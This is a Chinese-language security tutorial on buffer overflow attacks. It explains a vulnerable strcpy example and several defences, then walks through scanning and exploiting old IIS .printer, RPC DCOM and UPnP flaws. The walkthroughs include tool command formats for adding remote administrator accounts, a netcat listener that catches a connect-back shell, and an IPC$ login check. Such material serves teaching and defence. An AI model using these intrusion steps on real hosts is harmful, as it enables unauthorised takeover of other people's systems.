缓冲区溢出攻击

article/2025/6/8 17:01:00

16004488

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出进行攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,黑客利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

一、缓冲区溢出介绍

缓冲区溢出是指计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但绝大多数程序都会出现假设数据长度与所分配的存储空间不相匹配的情况,这就为缓冲区溢出埋下隐患。

在各个操作进程之间,指令被临时存储在堆栈当中,堆栈也会出现缓冲区溢出。当一个超长的数据进入缓冲区时,超出部分就会被写入其他缓冲区,其他缓冲区存放的可能是数据、下一条指令的指针或其他程序的输出内容,这些内容都被覆盖或者破坏了。由此可见,数据或一套指令的溢出,就可能会导致一个程序或操作系统崩溃。

黑客制造的溢出往往是有一定企图的,他们可以编写一个超过缓冲区长度的字符串植入缓冲区,再向一个有限空间的缓冲区中植入超长的字符串,此时可能会出现如下两个结果:

(1)过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃。

(2)利用溢出漏洞可执行任意指令,甚至可取得系统root特级权限。

1、溢出根源

缓冲区溢出是由编程错误引起的。如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,此时就会发生缓冲区溢出。缓冲区溢出之所以泛滥,是由开放源代码程序的本质决定的。一些编程语言对于缓冲区溢出是具有免疫力的,但被广泛使用的C语言却没有建立检测机制。标准C语言具有许多复制和添加字符串的函数,这使得标准C语言很难进行边界检查。C++稍微好一些,但仍然存在缓冲区溢出。

一般情况下,覆盖其他数据区的数据是没有意义的,最多会造成应用程序错误。但如果输入数据是经过“黑客”或病毒精心设计的,覆盖缓冲区数据就成了“黑客”或病毒的入侵程序代码,一旦多余字节被编译执行,“黑客”或病毒就有可能为所欲为,获取系统的控制权。

2、溢出原理

一个程序在内存中通常分为3部分,分别是程序段、数据段和堆栈。其中程序段放的是程序的机器码和只读数据,数据段放的是程序中的静态数据,动态数据则通过堆栈来存放。3部分在内存中的位置如图1所示。

图1 内存中的程序

黑客通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令以实现入侵。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

void function(char *str) {

char buffer[25];

strcpy(buffer,str);

}

void function(char *str) {

char buffer[25];

strcpy(buffer,str);

}

上述代码是使用strcpy()函数将直接把str中的内容复制到buffer中。这样,只要str的长度大于25,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。当然,随便往缓冲区中填东西造成的溢出,一般只会出现“分段错误”(Segmentation fault),而不能实现攻击。最常见手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其他命令。如果攻击者已经获得了一个有root权限的shell,就可以对系统进行任意操作。

缓冲区溢出攻击之所以成为一种常见的远程攻击手段,其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。一般都是通过植入缓冲区溢出漏洞的程序,来获得被攻击主机的控制权。

二、缓冲区溢出攻击方式

黑客进行缓冲区溢出攻击的目的是扰乱具有某些特权运行的程序的功能,从而取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。在一般情况下,黑客利用缓冲区溢出漏洞攻击root程序,执行类似exec(sh)的代码来获得root的shell。为实现这个目的,攻击者必须做两件事:在程序的地址空间里安排适当的代码;通过适当地初始化寄存器和存储器,让程序跳转到事先安排的地址空间执行。

根据这两个目标,可以将缓冲区溢出攻击分为如下3类。

1、在程序的地址空间里安排适当的代码

在程序的地址空间中安排适当的代码往往比较简单。常见的方法有如下两种。

(1)植入法

在大多数情况下在所攻击的程序中是不存在攻击代码的,此时就需要使用“植入法”的方式来完成。黑客向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的数据是可以在这个被攻击的硬件平台上运行的指令序列。

(2)利用已经存在的代码

如果攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一些参数,然后使程序跳转到指定目标。如在C语言中,攻击代码要求执行exec("/bin/sh"),而在libc库中的代码执行exec(arg),其中arg是指向一个字符串的指针参数,那么攻击者只要把传入的参数指针指向/bin/sh,就可以调转到libc库中的相应的指令序列。

2、控制程序转移到攻击代码

该种方法是改变程序的执行流程,使之跳转到攻击代码。最基本方法的就是溢出一个没有边界检查或者其他弱点的缓冲区,这样就扰乱了程序的正常的执行顺序。通过溢出一个缓冲区,黑客就可以改写相邻的程序空间而直接跳过了系统对身份的验证。

但由于不同地方的定位也会有所不同,也会产生多种转移的方式。常见的有下面3种。

(1)激活记录(Activation Records)

这是一种比较常见的溢出方式,每当调用一个函数时,在堆栈中留下一个激活记录,它包含了函数结束时返回的地址。攻击者通过溢出这些自动变量,使这个返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。

(2)函数指针(Function Pointers)

在C语言中,void(*foo)()声明了一个返回值为void函数指针的变量foo。函数指针可以用来定位任何地址空间,所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现转移。

(3)长跳转缓冲区(Longjmp buffers)

在C语言中包含了一个简单的检验/恢复系统,即setjmp/longjmp,其作用是在检验点设定setjmp(buffer),而用longjmp(buffer)来恢复检验点。但是如果攻击者能够进入缓冲区的空间,longjmp(buffer)实际是跳转到攻击者的代码。和函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。

3、综合代码植入和流程控制技术

在进行溢出缓冲区攻击时,常常需要在一个字符串里综合了代码植入和激活记录。攻击者需要定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出改变激活记录的同时植入代码。代码植入和缓冲区溢出不一定要在一次动作内完成。攻击者可以在一个缓冲区内放置代码,这时不能溢出缓冲区。然后,攻击者通过溢出另外一个缓冲区来转移程序的指针。这种方法一般用来解决可供溢出的缓冲区不够大的情况。

如果攻击者想使用已经驻留的代码而不是从外部植入代码,就必须先把代码参数化。如在libc中的部分代码段会执行exec(some),其中some就是参数。攻击者使用缓冲区溢出改变程序的参数,再利用另一个缓冲区溢出使程序指针指向libc中特定的代码段。

三、缓冲区溢出攻击防御

由于缓冲区溢出攻击可能带来严重的后果,所以要采取措施对缓冲区溢出攻击进行防御。目前有如下几种方法可以保护缓冲区免受缓冲区溢出的攻击和影响。

1、编写正确的代码

编写正确的代码是一件非常有意义但耗时的工作,特别像编写C语言那种具有容易出错倾向的程序。尽管花了很长的时间使得人们知道了如何编写安全的程序,具有安全漏洞的程序依旧出现。因此需要开发了一些工具和技术来帮助经验不足的程序员编写安全、正确的程序。

2、非执行的缓冲区

通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。但Windows系统为了实现更好的性能和功能,往往在数据段中动态地放入可执行的代码。但为了保持程序的兼容性,不可能使所有程序的数据段不可执行,所以缓冲区漏洞还是存在的。

3、数组边界检查

该种方式和非执行缓冲区的不同在于:数组边界检查完全放置了缓冲区溢出的产生和攻击。所以只要数组不溢出,溢出攻击也就无从谈起。为了实现数组边界检查,则所有的对数组的读写操作都应该进行检查,以确保对数组的操作在正确的范围内。最直接的方法是检查所有的数组操作,但是通常可以采用一些优化的技术来减少检查的次数。

4、程序指针完整性检查

程序指针完整性检查和边界检查略微不同:程序指针完整性检查在程序指针被引用之前检测到它的改变。即使一个攻击者成功地改变了程序的指针,由于系统事先检测到了指针的改变,所以这个指针将不会被使用。程序指针完整性检查不能解决所有的缓冲区溢出问题,但是这种方法在性能上有很大的优势,而且其兼容性也很好。

四、针对IIS.printer缓冲区溢出漏洞攻击

缓冲区溢出攻击是远程网络攻击中最常见的一种攻击方式,这种攻击可以使得一个匿名的互联网用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。

IIS.printer漏洞(应用程序映射缓冲溢出)是比较流行的漏洞,国内外仍有很多台计算机存在此漏洞。该漏洞只存在于运行IIS 5.0的服务器中,这是由于IIS 5打印ISAPI扩展接口建立了.printer扩展名到Msw3prt.dll的映射关系(缺省情况下该映射也存在)。

当远程用户提交对.printer的URL请求时,IIS 5.0会调用Msw3prt.dll文件来解释该请求,但Msw3prt.dll缺乏足够的缓冲区边界检查。如果黑客提交一个精心构造的针对.printer的URL请求,且其“Host:”域包含大约420B的数据,此时在Msw3prt.dll中就会发生典型的缓冲区溢出。在溢出发生之后,Web服务将会停止用户响应,而计算机就会自动重启,这样系统管理员就很难检查到已发生的攻击。

1、漏洞的检测

可以使用专门的扫描工具对目标主机进行扫描,从扫描的结果中可看到是否存在.printer缓冲区溢出漏洞。

这里使用X-Scan来扫描远程主机是否存在.printer缓冲区漏洞,具体的操作步骤如下。

步骤1:双击X-Scan_gui主应用程序,即可打开X-Scan主窗口,在其中可以浏览此软件的功能简介、常见问题解答等信息,如图2所示。

图2 X-Scan主窗口

步骤2:在X-scan主窗口中选择“设置”→“扫描参数”菜单项或单击工具栏中的按钮,即可打开“扫描参数”窗口。在其中可以输入目标主机IP地址的扫描范围,也可以输入IP段,如图3所示。

图3 “扫描参数”窗口

步骤3:选择“全局设置”→“扫描模块”菜单项,即可打开“扫描模块”窗口,在其中选择要扫描的模块并对其进行相应设置,如图4所示。在设置完成之后,单击“确定”按钮,即可结束对扫描参数的设置。

图4 设置扫描模块

步骤4:单击工具栏中的“开始”按钮,即可开始对主机进行扫描,如图5所示。如果对方主机存在.printer漏洞,则会在“命令行提示”窗口中出现“Found IIS remote.printer overflow bug!!!”提示信息。

图5 对目标计算机进行扫描

2、漏洞的利用

如果目标主机存在.printer漏洞,即可利用该漏洞进行攻击。可以使用IIShack5.0打开远端计算机的端口,在得到远程主机的system权限后,制作后门账号并查看其权限,从而实现完全控制该计算机。

3、预防措施

由于此漏洞是.printer后缀的脚本,会输送给msw3prt.dll的存在溢出漏洞文件。要避免这个危害,可以删除.printer映射。

具体的操作步骤如下。

步骤1:选择“开始”→“控制面板”菜单项,即可打开“控制面板”窗口。双击“管理工具”图标,即可打开“管理工具”窗口。双击“Internet信息服务”图标,即可打开“Internet信息服务”窗口。

步骤2:右击“默认网站”图标,在快捷菜单中选择“属性”选项,即可打开“默认网站属性”对话框,如图6所示。

图6 “默认网站属性”对话框

步骤3:在“主目录”选项卡中单击“配置”按钮,即可打开“应用程序配置”对话框,如图7所示。在“应用程序映射”列表中找到.printer映射后直接删除就可以了。

图7 “影城程序配置”对话框

五、RPC缓冲区溢出攻击

Microsoft的RPC(Remote Procedure Call,远程过程调用)部分是在通过TCP/IP处理信息交换时出现的漏洞,该漏洞是由于不正确处理畸形信息所致,该漏洞影响使用RPC的DCOM接口。该接口处理由客户端计算机发送给服务器的DCOM对象激活请求。攻击者利用该漏洞可以对本地系统权限执行安装程序、查看、更改、建立系统管理员权限的账户及删除数据等操作。

其中分布式对象(DCOM)是一种可以使软件组件通过网络直接进行网络通信的协议,可以跨越Internet协议(例如HTTP)在内的多种网络传输。

1、漏洞检测

检测这类漏洞可使用RPC漏洞专用扫描器Retina(R)–DCOM Scanner。它是eEye安全公司针对微软MS03-026以及最新MS03-039 RPC DCOM漏洞设计的扫描工具。

使用该软件扫描RPC漏洞的具体操作步骤如下。

步骤1:运行Retina(R)–DCOM Scanner主程序,即可打开Retina(R)–DCOM Scanner主窗口,在Start IP文本框和End IP文本框中分别输入起始IP地址和终止IP地址,如图8所示。

图8 Retina(R)–DCOM Scanner主窗口

步骤2:单击Scan按钮,即可开始扫描,如图9所示。如果在设置的IP范围中有存在RPC漏洞的主机,则该主机的详细信息将出现在扫描结果中。

图9 设置扫描的IP范围

2、漏洞利用

RPC溢出漏洞带来的危害很严重,比如基于RPC漏洞的著名病毒“冲击波”,可导致目标计算机反复重启系统,不能正常复制文件和浏览网站,DNS、IIS、路由器等受到非法拒绝服务攻击,甚至整个网络系统处于瘫痪状态。

漏洞利用工具有两个:Rpcdcom和OpenRpcss。先使用Rpcdcom对远程主机发送畸形数据包,再使用OpenRpcss攻击远程主机,最终会在远程主机内部建立一个管理员账号。

Rpcdcom命令格式:Rpcdcom Server

OpenRpcss命令格式:OpenRpcssServer

Rpcdcom命令格式:Rpcdcom Server

OpenRpcss命令格式:OpenRpcssServer

使用这两种工具入侵存在RPC漏洞的主机的具体步骤如下。

步骤1:先使用“Rpcdcom存在漏洞远程主机的IP地址”命令给远程主机发送畸形数据。

步骤2:使用“OpenRpcss.exe存在漏洞远程主机的IP地址”命令在该远程主机中建立管理员账号。

步骤3:在远程主机内部成功建立一个管理员账号后,使用“net use存在漏洞远程主机的IP地址IPC$“密码”/user:”用户名””命令,即可通过IPC$管道连接证明管理员账号是否创建成功。

3、漏洞的防范

黑客可以利用RPC漏洞,给远程服务器监听的特定RPC端口发送畸形请求,如135、139、445等任何配置了RPC端口的计算机,在受到攻击时,Windows系统会出现蓝屏、重启以及自动关机的现象。下面有两种方法可很好地预防RPC漏洞攻击。

(1)更改RPC服务设置。在Windows系统中可以通过设置相关的服务来预防RPC缓冲区溢出攻击。具体操作步骤如下。

步骤1:在“管理工具”窗口中双击“服务”图标,即可打开“服务”窗口。在其中可以看到本机中所有的服务,如图10所示。在“服务”列表中右击Remote Proceduce Call(RPC)服务,在快捷菜单中选择“属性”选项,即可打开“Remote Proceduce Call(RPC)的属性(本地计算机)”对话框。

图10 “服务”窗口

步骤2:切换到“恢复”选项卡,将其中的“第一失败”、“第二次失败”以及“后续失败”都设置为“无操作”选项,如图11所示。

图11 属性对话框

(2)安装微软提供的RPC补丁。

六、即插即用功能远程控制缓冲区溢出漏洞

UPnP(Universal Plug and Play,通用即插即用)是一种用于PC机和智能设备(或仪器)的常见对等网络连接的体系结构,尤其适合在家庭中使用。它允许不同的设备(如计算机、扫描仪、打印机等)连成网络,可以在彼此之间自动识别并进行通信,这样,用户就不需要为每个外设来配置计算机了。

但UPnP对缓冲区(Buffer)的使用没有进行检查和限制,黑客可利用这一漏洞控制同一网络上的计算机或发动DoS攻击。更为严重的是,同一网络的其他用户甚至不需要知道该计算机的IP地址,就可以对其发动攻击。这个缺陷导致的后果很严重,不论哪个版本的Windows系统,只要运行UPnP,就都存在这个危险。

但严格地说,这并不完全是UPnP技术本身的问题,更多的是程序设计的疏忽。UPnP协议存在安全漏洞问题,是由eEye数字安全公司最早发现并通知微软的。其中的UPnP缓冲区溢出是Windows有史以来最严重的缓冲区溢出漏洞。

1、漏洞检测

可以使用MS05-039Scan工具检测此类漏洞,它是一款用于Microsoft Windows即插即用功能远程缓冲区溢出漏洞的专用扫描工具。

只探测出远程主机存在的漏洞还远远不够,还需要使用X-Scan来对远程主机进行扫描,以得到远程主机上使用的Windows操作系统类型等信息。

2、漏洞利用

如果检测到UPnP缓冲区溢出漏洞,则可以利用专门的工具对目标计算机进行攻击。在入侵过程中使用的工具是ms05039.exe,其命令格式如下:

ms05039.exe<host><conIP><conPort>[target]

ms05039.exe<host><conIP><conPort>[target]

其中各个参数的含义如下。

host:远程主机IP地址或远程主机名。

conIP:本地IP地址。

conPort:溢出成功后远程主机的端口号。

target:选择操作系统类型。

host:远程主机IP地址或远程主机名。

conIP:本地IP地址。

conPort:溢出成功后远程主机的端口号。

target:选择操作系统类型。

具体的操作步骤如下。

步骤1:在MS05-039Scan主窗口中输入远程主机IP的起始地址和结束地址之后,单击按钮,即可把输入的IP地址添加到扫描范围中,如图12所示。

图12 设置扫描的IP范围

步骤2:单击按钮,即可开始对远程主机进行扫描,在其中查找存在Windows即插即用远程缓冲区溢出漏洞的远程主机,如图13所示。

图13 扫描结果

步骤3:利用X-Scan扫描存在漏洞的远程主机,查看它的主机类型。在“命令提示符”窗口中进入nc.exe工具所在的目录后,在其中输入nc-1–p 7755命令进入监听状态(7755代表在本地中打开用于监听的端口号)。

步骤4:在“命令提示符”窗口中进入ms05039.exe所在的目录之后,在其中输入“ms05039.exe存在漏洞的远程主机IP本地机IP 77551”命令,对远程主机添加账号。如果账号添加成功,则说明获得了管理员权限。

ID:Computer-network


http://www.hkcw.cn/article/dfXmCJAjkf.shtml

相关文章

2024烟价通:熊猫(硬经典)口感描述及参数大全

阅读本文前,请您先点击上面的蓝色字体,再点击“关注”,这样您就可以免费收到最新内容了。每天都有分享,完全是免费订阅,请放心关注!熊猫(硬经典) 品牌介绍 熊猫(硬经典)香烟,俗称绿猫或大绿猫,是上海烟草集团有限责任公司旗下的高端卷烟品牌之一。该品牌定位于中国卷烟…

7月1日起,工资迎来“普调”!月薪不到这个数,违法!

7月5日 人社部官网公布 全国各省、自治区、直辖市 最低工资标准情况 (截至2024年7月1日) 目前,最低工资标准档位最多为四档。数据显示,从月最低工资标准看,上海以2690元的标准居全国首位;从小时最低工资标准看,北京以26.4元的标准为全国最高。湖南:最低工资标准调整为2…

“生命之树”辣木树

辣木树原产于非洲东北部和印度北部的次喜玛拉雅山麓、红海沿岸等自然条件极其恶劣的地方。中国的灵芝、美国的西洋参、印度的辣木,被誉为世界三宝。那么极限植物辣木树有哪些神奇的地方呢? 辣木籽被誉为一种极限植物之母,是因为它是原产于自然条件极其恶劣的非洲辣木树的种子…

原创2024-25赛季NBA揭幕战安排公布:湖人对森林狼,绿军迎战尼克斯

2024-25赛季NBA揭幕战的赛程终于揭晓,为球迷们带来了振奋的好消息。根据记者Shams Charania的最新报道,波士顿凯尔特人队将于10月22日在TD花园球馆迎战纽约尼克斯队,这场比赛不仅是新赛季的开幕战,还将包括凯尔特人队的NBA总冠军庆祝活动和戒指颁发仪式。除了波士顿和纽约的…

视频mov如何转换成mp4?教你四种常见的视频转换方法!

视频mov如何转换成mp4?在浩瀚无垠的视频星河中,MOV格式犹如一位特立独行的幻想编织者,以其独有的编码秘术与视觉诗篇,编织出一幕幕震撼心灵的视觉盛宴,然而,这位幻想家的作品,虽在创意的殿堂中熠熠生辉,却因那繁复如迷宫般的编码结构,如同被施加了古老咒语的魔法书,难…

西安最漂亮的9个美女,一个比一个美!

西安美女多是大家都知道的事情哦,如果每个区都化身成一个美女,那西安这9个美女谁才是最美的? 1号佳丽:碑林区 才气美女型 秀外慧中、才貌双全、冰雪聪明 身体最美部位↓↓ ▽碑林博物馆书院门展开全文永宁门2号佳丽:新城区 清新美女型 清新脱俗、干净素雅 身体最美部位↓↓…

人教版七年级上册道德与法治PDF高清电子课本分享!初一道法上下册电子教材!

初中七年级道德与法治上册电子课本 教育部统编人民教育出版社七年级电子教材 初一上册政治人教版电子课本 统编新人教版七下道法上下册电子书 初中政治道德与法治一二三年级上下册全学期电子课本 ------------------------------------------- 如需PDF高清下载版本 请在徽信攻纵…

有生之年能看到《公主日记3》是一件多么让人开心的事儿!

各位少女怕是早在2017年就曾听到《公主日记3》在筹备的消息叭? 这种“活久见,有生年”的大事,怎能轻易错过?加之,前段时间主演Anne Hathaway也在Watch What Happens Live上透露第三部的台词已经出炉,所以这部少女心十足的电影上映,指日可待咯!虽说距离第一部《公主日记…

欲望姐姐们三姐妹的爱情与欲望纠葛

在一个繁华的都市里,每个人都有着自己的欲望和追求。当爱情与欲望交织在一起,将会产生怎样的一段故事呢?这部韩国电影《欲望姐姐们》以其独特的视角,讲述了一个关于三个性格迥异的姐妹在爱情与欲望间挣扎与抉择的故事。这部电影不仅仅展示了中国女性的独立与坚强,还揭示了…

原创观点与谢萌面对面:正佳跟时间做朋友 | 博鳌新力量·商业篇

编者按:2024年以来,新质生产力成为中国经济最核心的议题,数字经济与科技创新则是最主要的动力,各行各业都在寻找高质量发展之路。 因应行业变化,博鳌房地产论坛将升级扩展为覆盖全产业链的“博鳌周”,并且全新策划和推出“2024博鳌访问”系列报道——“博鳌新力量”。 通…

原创中国“超级电池”问世,续航可达1000公里,燃油车即将面临淘汰?

你能相信吗?我国科研团队成功研发出一种超级电不仅大大缩短了充电时还拥有1000公里的惊人续航能力。而且这种黑科技还可以应用到手机领一次充电可以用两周。消息一经传立即在全球引起轩然大波。甚至有德国学者表我国的超级电池可能会开启一场新能源.。那这项技术在我国到底有多…

《绣春刀2》:一部明朝公务员生存指南

时隔三年,《绣春刀》的第二部终于上映了! 相信看过第一部的朋友们,等这一刻很久了吧。 目前,《绣春刀Ⅱ:修罗战场》的豆瓣评分是7.7,比第一部的评分还略高些,总算没有沦为狗尾续貂之作。 《绣春刀》第一部讲魏忠贤倒台后的故事,第二部讲崇祯登位推到魏忠贤的故事。可以…

原创中国历史上,有哪几位仁宗皇帝?哪位仁宗更值得称道?

在历史上,开国皇帝往往使用太祖、高祖等庙号,而之后的皇帝则使用太宗、高宗等庙号。其中,庙号“仁宗”的皇帝,自然都是宽厚仁义的君主。中国历史上大一统的时代,共有4位皇帝使用了“仁宗”的庙号,你认为哪一位最值得称道呢?一、宋仁宗赵祯 宋仁宗赵祯(1010年5月30日-1…

南通风流才子:苦恋北大才女10年,写诗《断章》

卞之琳 1910/12/08-2000/12/02 展开全文卞[bin]之琳,生于今江苏省南通市海门区汤家镇,祖籍南京市溧水区,现当代诗人("汉园三诗人"之一)、文学评论家、翻译家,曾用笔名季陵、薛林等。曾是徐志摩和胡适的学生。被公认为新文化运动中重要的诗歌流派新月派和现代派的…

【校园招聘】西安外事学院2024年校园招聘

来源:西安外事学院 编辑:黑淑敏 审核:黄 健 就业指导 职业素养学堂 往期推荐 【邀请函】宏志助航▪职引未来——兰州交通大学2024届毕业生文理、经管、艺术类专场双选会 【事业单位】2024年度公开招聘辅导员、专任教师和管理人员公告 【人才引进】连江编内招聘28人! 【人才引…

[蝶泳教程]图解蝶泳技巧!(从零开始看图学游泳)

1.蝶泳的呼吸,一般两臂划水1次,呼吸1次。 2.臂入水后开始慢慢呼气,当两臂抱水结束向内划水时,开始抬头。随着两臂向后划水,头和肩的位置逐渐升高,呼气也由慢到快地进行,并继续向前抬头。当两手划水至腹部下方时,下巴露出水面并沿水面前伸,当两手推水结束臂出水时张口吸…

什么是草花梨? | 家具篇

文 / 明清家具研习社 明清家具中,有大量的花梨木家具存世。乃至故宫[微博]中的一些宫廷家具,也以草花梨为材。 草花梨,一个游走于各大红木家具卖场常能听到的称谓。然而作为一种笼统的、指向不明确的称呼,人们很容易对“草花梨”产生困惑:这一称谓到底指的是何种木材?它与…

什么季节去五台山最好,去五台山攻略详细+最佳路线+费用+景点门票+自驾

五台山的最佳旅游时间主要取决于您对天气、人流和参观目的的偏好。五台山四季各有不同的美,每个季节都有其独特的魅力。 春季(4月-5月)是五台山万物复苏的季节,山花烂漫,适合赏花和户外活动。 夏季(6月-8月)是五台山最为凉爽的季节,气候宜人,是避暑的好去处。也是学生…

原创挂科不可怕,毕业证可期:大学学业困境的解决之道

大学挂科后能否拿到毕业证,并不是一概而论的。学生应根据自身情况和学校规定,积极采取应对措施,如认真准备补考、重修或寻求其他特殊处理方式。同时,学生也应端正学习态度,努力避免挂科情况的发生。对于因特殊情况导致挂科的学生,学校通常会提供相应的帮助和支持,以确保…

羊羔毛是什么面料?(为什么大牌都在用这个面料)

欢迎关注我们服装设计方向微信公众号无LIBO服装设计 (微信需要实名备注哦)羊羔毛就是绵羊身上的毛,和羊毛不同,羊羔毛是绵羊第一次剪下的毛。 羊羔毛在羊毛羊绒制品里边也是仅次于羊绒的材质,羊羔毛顾名思义,取自绵羊第一次剪下的羊毛(约7个月大时)。羊羔毛天然特别柔软,…